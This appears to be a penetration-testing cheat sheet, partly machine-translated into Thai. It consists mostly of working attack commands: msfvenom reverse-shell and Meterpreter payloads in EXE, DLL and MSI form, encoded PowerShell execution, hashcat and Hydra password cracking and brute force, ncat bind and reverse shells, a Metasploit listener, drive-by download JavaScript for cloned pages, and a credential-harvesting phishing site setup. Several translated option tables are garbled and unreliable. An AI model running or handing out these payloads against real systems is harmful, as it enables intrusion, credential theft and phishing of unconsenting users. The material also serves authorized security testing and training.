msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff -o payload.bin
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
ในการสร้าง DLL file ให้ใช้หนึ่งในคำสั่ง MSFVENOM ต่อไปนี้แก้ไขตามความต้องการของคุณ:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b x00x0ax0dxff -o payload.dll
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b x00x0ax0dxff -o payload.dll
ในการสร้าง standalone executable ไฟล์ใช้หนึ่งในคำสั่ง msfvenom ต่อไปนี้แก้ไขตามความต้องการของคุณ:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b x00x0ax0dxff -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b x00x0ax0dxff -o payload.exe
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
ในการสร้าง MSI file ให้ใช้หนึ่งในคำสั่ง MSFVENOM ต่อไปนี้แก้ไขตามความต้องการของคุณ:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b x00x0ax0dxff -o payload.msi
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b x00x0ax0dxff -o payload.msi
Bytecode อาจไม่ทำงานในการลองครั้งแรกเนื่องจากอักขระที่ไม่ดีอื่น ๆ การทดลองใช้และข้อผิดพลาดเป็นกุญแจสำคัญ
จนถึงตอนนี้ยังไม่มีวิธีที่ง่ายในการสร้างไฟล์ DLL หรือ MSI ที่มีเชลล์มิเตอร์ไร้เดียงสาเนื่องจากปัญหาขนาด
ในการสร้างคำสั่งที่เข้ารหัส PowerShell จากสคริปต์ PowerShell ให้เรียกใช้คำสั่ง PowerShell ต่อไปนี้:
[ Convert ]::ToBase64String([ Text.Encoding ]::Unicode.GetBytes([ IO.File ]::ReadAllText( $script )))ในการเรียกใช้คำสั่งที่เข้ารหัส PowerShell ให้เรียกใช้คำสั่งต่อไปนี้จาก PowerShell หรือคำสั่ง Prompt:
PowerShell - ExecutionPolicy Unrestricted - NoProfile - EncodedCommand $commandหากต้องการถอดรหัสคำสั่งที่เข้ารหัส PowerShell ให้เรียกใช้คำสั่ง PowerShell ต่อไปนี้:
[ Text.Encoding ]::Unicode.GetString([ Convert ]::FromBase64String( $command ))ค้นหาข้อมูลเพิ่มเติมเกี่ยวกับ PowerShell Reverse และผูกเปลือก TCP ที่ Ivan-Sincek/PowerShell-Reverse-TCP
Google A แฮชก่อนที่จะพยายามถอดรหัสเพราะคุณอาจประหยัดเวลาและปัญหาได้มาก
ใช้ Google Dorks, Chad หรือ Foca เพื่อค้นหาและดาวน์โหลดไฟล์และภายในข้อมูลเมตาของไฟล์ชื่อผู้ใช้โดเมนเพื่อบังคับ
โปรดทราบว่าคุณอาจปิดบัญชีของผู้คน
เว็บฟอร์มบางแบบมีความท้าทาย CAPTCHA และ/หรือโทเค็นการส่งที่ซ่อนอยู่ซึ่งอาจป้องกันไม่ให้คุณบังคับให้เดรัจฉาน หากเป็นกรณีนี้ให้ลองส่งคำขอโดยไม่ต้องตอบกลับ Captcha Challenge และส่งโทเค็น
คุณสามารถค้นหากลุ่มคำที่มีประโยชน์ใน seclists
สร้างคำศัพท์ที่ต่ำกว่าอัลฟ่า-ตัวเลข:
crunch 4 6 -f /usr/share/crunch/charset.lst lalpha-numeric -o crunch_wordlist.txt
ดูรายการ Charsets ที่มีอยู่ทั้งหมดหรือเพิ่มของคุณเองใน charset.lst อยู่ที่ /usr/share/crunch/ directory
สร้างการเรียงสับเปลี่ยนที่เป็นไปได้ทั้งหมดจากคำ:
crunch -o crunch_wordlist.txt -p admin 123 !"
crunch -o crunch_wordlist.txt -q words.txt
สร้างชุดค่าผสมที่เป็นไปได้ทั้งหมดจาก charset:
crunch 4 6 -o crunch_wordlist.txt -p admin123!"
| ตัวเลือก | คำอธิบาย |
|---|---|
| -d | จำกัด จำนวนอักขระติดต่อกัน |
| -f | ระบุชุดอักขระจากไฟล์ |
| -ฉัน | เอาออก |
| -l | เมื่อคุณใช้ตัวเลือก -t ตัวเลือกนี้จะบอก crunch สัญลักษณ์ใดที่ควรได้รับการปฏิบัติเป็นตัวอักษร |
| -o | ระบุไฟล์เพื่อเขียนเอาต์พุตไปที่ |
| -p | บอกให้ Crunch สร้าง/แพคนท์คำที่ไม่มีอักขระซ้ำ ๆ |
| -Q | บอกให้ Crunch อ่านไฟล์และรับรองสิ่งที่อ่าน |
| -r | บอกให้ Crunch กลับมาสร้างคำพูดจากที่ที่มันทิ้งไว้ -r จะใช้งานได้เฉพาะในกรณีที่คุณใช้ -o |
| -s | ระบุสตริงเริ่มต้น |
| -t | ระบุรูปแบบ |
| ผู้ถือครองตำแหน่ง | คำอธิบาย |
|---|---|
| - | อักขระตัวพิมพ์เล็ก |
| - | อักขระตัวพิมพ์ใหญ่ |
| - | ตัวเลข |
| - | สัญลักษณ์ |
น่าเสียดายที่ไม่มีตัวยึดตำแหน่งตั้งแต่ตัวพิมพ์เล็ก-อัลฟ่าไปจนถึงสัญลักษณ์
สร้างชุดค่าผสมที่เป็นไปได้ทั้งหมดจากตัวยึด:
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^ -d 2% -d 1^
crunch 10 10 + + 123456 !" -o crunch_wordlist.txt -t admin@@%^^
crunch 10 10 -o crunch_wordlist.txt -t @dmin@@%^^ -l @aaaaaaaaa
หากต้องการระบุประเภทแฮชให้เรียกใช้เครื่องมือต่อไปนี้:
hash-identifier
Force Md5 Hashes:
hashcat -m 0 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt
Brute Force Netntlmv1 แฮช:
hashcat -m 5500 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt
ใช้ --session=<session_name> เพื่อบันทึกและดำเนินการต่อความคืบหน้าการแคร็กของคุณในภายหลังโดยใช้ --restore
ดำเนินการต่อความคืบหน้าการแตก:
hashcat --session=cracking --restore
| ตัวเลือก | คำอธิบาย |
|---|---|
| -m | Hash-type ดูการอ้างอิงด้านล่าง |
| -A | โหมดโจมตีดูการอ้างอิงด้านล่าง |
| --บังคับ | ละเว้นคำเตือน |
| -รันเท็น | เซสชั่นยกเลิกหลังจาก x วินาทีของรันไทม์ |
| --สถานะ | เปิดใช้งานการอัปเดตอัตโนมัติของหน้าจอสถานะ |
| -o | กำหนด outfile สำหรับการกู้คืนแฮช |
| --แสดง | แสดงรหัสผ่านร้าวที่พบใน potfile |
| --การประชุม | กำหนดชื่อเซสชันเฉพาะ |
| --คืนค่า | คืนค่าเซสชันจาก -เซสชั่น |
| -พา ธ-ฟิลด์ | เส้นทางเฉพาะเพื่อกู้คืนไฟล์ |
| -o | เปิดใช้งานเมล็ดที่ดีที่สุด (จำกัด ความยาวรหัสผ่าน) |
| -1 | Charset ที่ผู้ใช้กำหนด? 1 |
| -2 | Charset ที่ผู้ใช้กำหนด? 2 |
| -3 | Charset ที่ผู้ใช้กำหนด? 3 |
| -4 | Charset ที่ผู้ใช้กำหนด? 4 |
เมื่อระบุ charset ที่ผู้ใช้กำหนด Escape ? กับคนอื่น ? (เช่นใช้ ?? แทนที่จะเป็น ? )
| ประเภทแฮช | คำอธิบาย |
|---|---|
| 0 | MD5 |
| 100 | sha1 |
| 1400 | Sha256 |
| 1700 | Sha512 |
| 200 | mysql323 |
| 300 | mysql4.1/mysql5 |
| 1,000 | NTLM |
| 5500 | netntlmv1-vanilla / netntlmv1-ess |
| 5600 | netntlmv2 |
| 2500 | WPA/WPA2 |
| 16800 | WPA-PMKID-PBKDF2 |
| 16500 | JWT (JSON Web Token) |
สำหรับประเภทแฮชเพิ่มเติมอ่านคู่มือ
| โหมดโจมตี | ชื่อ |
|---|---|
| 0 | ตรง |
| 1 | การผสมผสาน |
| 3 | กำลังดุร้าย |
| 6 | Hybrid WordList + Mask |
| 7 | มาสก์ไฮบริด + WordList |
| 9 | สมาคม |
| ชุดถ่าน | คำอธิบาย |
|---|---|
| ? l | abcdefghijklmnopqrstuvwxyz |
| ? คุณ | abcdefghijklmnopqrstuvwxyz |
| ? D | 0123456789 |
| ? s | - |
| ? | ? l? u? d? s |
| ? b | 0x00 - 0xff |
การโจมตีพจนานุกรม:
hashcat -m 100 -a 0 --session=cracking --force --status -O B1B3773A05C0ED0176787A4F1574FF0075F7521E rockyou.txt
hashcat -m 5600 -a 0 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt rockyou.txt
คุณสามารถค้นหา rockyou.txt wordlist ใน seclists
กองกำลังดุร้ายแฮชโดยใช้ตัวยึด:
hashcat -m 0 -a 3 --session=cracking --force --status -O cc158fa2f16206c8bd2c750002536211 -1 ?l?u -2 ?d?s ?1?l?l?l?l?l?2?2
hashcat -m 0 -a 3 --session=cracking --force --status -O 85fb9a30572c42b19f36d215722e1780 -1 !"#$%&/()=??* -2 ?d?1 ?u?l?l?l?l?2?2?2
การโจมตีพจนานุกรม:
hashcat -m 16500 -a 3 --session=cracking --force --status -O eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds
นอกจากนี้คุณยังสามารถตรวจสอบเครื่องมือแคร็ก JWT ของฉันได้ที่ Ivan-Sincek/JWT-BF
ฉันชอบใช้ Burp Suite เพื่อ Brute Force Web Forms และ Hydra สำหรับบริการอื่น ๆ
การโจมตีพจนานุกรมในแบบฟอร์มการเข้าสู่ระบบโพสต์ HTTP:
hydra -o hydra_results.txt -l admin -P rockyou.txt somesite.com http-post-form '/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed!'
เมื่อเดรัจฉานบังคับให้ฟอร์มล็อกอินเว็บคุณต้องระบุ Login=Login:<expected_message> เพื่อแยกความแตกต่างระหว่างความพยายามในการเข้าสู่ระบบที่ประสบความสำเร็จและล้มเหลว เปลี่ยนชื่อพารามิเตอร์ชื่อ username และ password ผ่านตามความจำเป็น
การโจมตีพจนานุกรมในการเข้าสู่ระบบ Secure Shell (SSH):
hydra -o hydra_results.txt -L users.txt -P rockyou.txt 192.168.8.5 ssh
คุณสามารถค้นหากลุ่มคำที่มีประโยชน์ใน seclists
| ตัวเลือก | คำอธิบาย |
|---|---|
| -r | คืนค่าเซสชันที่ถูกยกเลิก/ขัดข้องก่อนหน้านี้ |
| -s | ทำการเชื่อมต่อ SSL |
| -o | ใช้ SSL V2 และ V3 เก่า |
| -s | หากบริการอยู่ในพอร์ตเริ่มต้นที่แตกต่างให้กำหนดที่นี่ |
| -l | เข้าสู่ระบบด้วยชื่อเข้าสู่ระบบ |
| -l | โหลดการเข้าสู่ระบบหลายรายการจากไฟล์ |
| -p | เข้าสู่ระบบด้วยรหัสผ่าน |
| -p | โหลดรหัสผ่านหลายไฟล์จากไฟล์ |
| -x | การสร้าง Force Brute Force (ขั้นต่ำ: สูงสุด: charset), พิมพ์ "-x -h" เพื่อขอความช่วยเหลือ |
| -y | ปิดการใช้งานสัญลักษณ์ใน Bruteforce |
| -e | ลองใช้รหัสผ่าน "N" NULL, "S" เข้าสู่ระบบเป็น PASS และ/หรือ "R" กลับเข้าสู่ระบบ |
| -o | เขียนคู่เข้าสู่ระบบ/รหัสผ่านที่พบไปยังไฟล์แทน stdout |
| -f/-f | ออกเมื่อพบคู่เข้าสู่ระบบ/ผ่าน (-f ต่อโฮสต์ -f Global) |
| -m | List of servers to attack, one entry per line, ':' to specify port |
| Supported Services |
|---|
| ftp[s] |
| http[s]-{get|post}-form |
| mysql |
| smb |
| smtp[s] |
| snmp |
| ssh |
| telnet[s] |
| vnc |
For more supported services read the manual.
| Brute Force Syntax | คำอธิบาย |
|---|---|
| นาที | Minimum number of characters in the password |
| สูงสุด | Maximum number of characters in the password |
| CHARSET | Charset values are: "a" for lowercase letters, "A" for uppercase letters, "1" for numbers, and for all others, just add their real representation |
Brute force attack on FTP:
hydra -o hydra_results.txt -l admin -x 4:4:aA1!"#$% 192.168.8.5 ftp
After you have collected enough usernames from the reconnaissance phase, it is time to try and brute force some of them.
Find out how to generate a good password spraying wordlist at ivan-sincek/wordlist-extender, but first you will need a few good keywords that describe your target.
Such keywords can include a company name, abbreviations, or words that describe the company's services, products, etc.
After you generated the wordlist, use it with tools such as Hydra, Burp Suite Intruder, etc., to brute force login web forms. Hydra can attack authentication mechanisms for all kinds of services and ports.
If strong password policy is enforced, lazy passwords usually start with one capitalized word followed by a few digits and one special character at the end (eg, Password123!).
You can also use the generated wordlist with hashcat, eg, to crack NTLMv2 hashes that you have collected using LLMNR responder during a network penetration testing, etc.
Find out how to embed a PowerShell script into an MS Word document at ivan-sincek/powershell-reverse-tcp.
To force users to download a malicious file, copy and paste this JavaScript code block on any cloned web page:
function download ( url , type , name , method ) {
var req = new XMLHttpRequest ( ) ;
req . open ( method , url , true ) ;
req . responseType = 'blob' ;
req . onload = function ( ) {
var blob = new Blob ( [ req . response ] , { type : type } )
var isIE = false || ! ! document . documentMode ;
if ( isIE ) {
// IE doesn't allow using a blob object directly as link
// instead it is necessary to use msSaveOrOpenBlob()
if ( window . navigator && window . navigator . msSaveOrOpenBlob ) {
window . navigator . msSaveOrOpenBlob ( blob , name ) ;
}
} else {
var anchor = document . createElement ( 'a' ) ;
anchor . href = window . URL . createObjectURL ( blob ) ;
anchor . download = name ;
anchor . click ( ) ;
// in Firefox it is necessary to delay revoking the ObjectURL
setTimeout ( function ( ) {
window . URL . revokeObjectURL ( anchor ) ;
anchor . remove ( ) ;
} , 250 ) ;
}
} ;
req . send ( ) ;
}
// specify your file here, use only an absolute URL
download ( 'http://localhost/files/pentest.pdf' , 'application/pdf' , 'pentest.pdf' , 'GET' ) ;
// download('http://localhost/files/pentest.docx', 'plain/txt', 'pentest.docx', 'GET');To try it out, copy all the content from social_engineeringdriveby_download to your server's web root directory (eg, to xampphtdocs on XAMPP), and navigate to the web page with your preferred web browser.
To try it out, copy all the content from social_engineeringphishing_website to your server's web root directory (eg, to xampphtdocs on XAMPP), and navigate to the web page with your preferred web browser.
Captured credentials will be stored in social_engineeringphishing_websitelogscredentials.log.

Figure 2 - Phishing Website
Read the comments in social_engineeringphishing_websiteindex.php to get a better understanding on how all of it works.
You can modify and expand this template to your liking. You have everything that needs to get you started.
You can easily customize CSS to make it look more like the company you are testing, eg, change colors, logo, etc.
Check the standalone redirect templates in social_engineeringphishing_websiteredirects directory.
Use SingleFile (Chrome)(FireFox) browser extension to download a web page as a single HTML file, then, rename the file to index.php .
Here you can find a bunch of random stuff.
Download a file:
curl somesite.com/somefile.txt -o somefile.txt
Upload a file:
curl somesite.com/uploads/ -T somefile.txt
| ตัวเลือก | คำอธิบาย |
|---|---|
| -d | Sends the specified data in a POST request to the HTTP server |
| -ชม | Extra header to include in the request when sending HTTP to a server |
| -ฉัน | Include the HTTP response headers in the output |
| -k | Proceed and operate server connections otherwise considered insecure |
| -o | Write to file instead of stdout |
| -T | Transfers the specified local file to the remote URL, same as PUT method |
| -v | Make the operation more talkative |
| -x | Use the specified proxy ([protocol://]host[:port]) |
| -X | Specifies a custom request method to use when communicating with the HTTP server |
Find out how to test a web server for various HTTP methods and method overrides at ivan-sincek/forbidden.
[Server] Set up a listener:
ncat -nvlp 9000
ncat -nvlp 9000 > received_data.txt
ncat -nvlp 9000 -e /bin/bash
ncat -nvlp 9000 -e /bin/bash --ssl
ncat -nvlp 9000 --ssl-cert crt.pem --ssl-key key.pem
ncat -nvlp 9000 --keep-open <<< "HTTP/1.1 200 OKrnrn"
[Client] Connect to a remote host:
ncat -nv 192.168.8.5 9000
ncat -nv 192.168.8.5 9000 < sent_data.txt
ncat -nv 192.168.8.5 9000 -e /bin/bash
ncat -nv 192.168.8.5 9000 -e /bin/bash --ssl
ncat -nv 192.168.8.5 9000 --ssl-cert crt.pem --ssl-key key.pem
Find out how to create an SSL/TLS certificate at ivan-sincek/secure-website.
Check if connection to a specified TCP port (eg, port 22 or 23) is possible:
for i in {0..255} ; do ncat -nv " 192.168.8. ${i} " 9000 -w 2 -z 2>&1 | grep -Po ' (?<=Connected to )[^s]+(?=.) ' ; done
for ip in $( cat ips.txt ) ; do ncat -nv " ${ip} " 9000 -w 2 -z 2>&1 | grep -Po ' (?<=Connected to )[^s]+(?=.) ' ; doneSet up a listener (change the PAYLOAD, LHOST, and LPORT as necessary):
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit
Use ngrok to give your local web server a public address, but do not expose the web server for too long if it is not properly hardened due to security concerns.
I advise you not to transfer any sensitive data over it, just in case.
Credits to the authors!